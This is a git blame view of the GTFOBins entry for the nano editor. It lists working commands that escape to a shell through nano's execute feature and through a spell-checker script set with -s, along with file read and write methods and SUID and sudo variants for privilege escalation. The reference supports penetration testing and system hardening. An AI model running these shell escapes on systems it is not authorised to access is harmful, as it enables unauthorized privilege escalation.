1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/nano.md

43 lines
1.1 KiB
Markdown
Raw Normal View History

2018-05-29 19:23:33 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
- code: |
nano
^R^X
reset; sh 1>&0 2>&0
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: |
2018-07-16 15:01:50 +02:00
TF=$(mktemp)
echo 'exec sh' > $TF
2018-07-16 15:01:50 +02:00
chmod +x $TF
nano -s $TF /etc/hosts
^T
2018-05-29 19:23:33 +02:00
file-write:
2018-07-16 15:01:50 +02:00
- code: |
nano file_to_write
DATA
2018-07-16 15:01:50 +02:00
^O
2018-07-04 20:26:52 +02:00
file-read:
2018-07-16 15:01:50 +02:00
- code: nano file_to_read
2018-10-05 19:55:38 +02:00
suid:
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: |
2018-07-16 15:01:50 +02:00
TF=$(mktemp)
echo 'exec sh -p' > $TF
2018-07-16 15:01:50 +02:00
chmod +x $TF
./nano -s $TF /etc/hosts
^T
2018-10-05 19:55:38 +02:00
sudo:
- code: |
sudo nano
^R^X
reset; sh 1>&0 2>&0
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: |
2018-07-16 15:01:50 +02:00
TF=$(mktemp)
echo 'exec sh' > $TF
2018-07-16 15:01:50 +02:00
chmod +x $TF
sudo nano -s $TF /etc/hosts
^T
2018-05-29 19:23:33 +02:00
---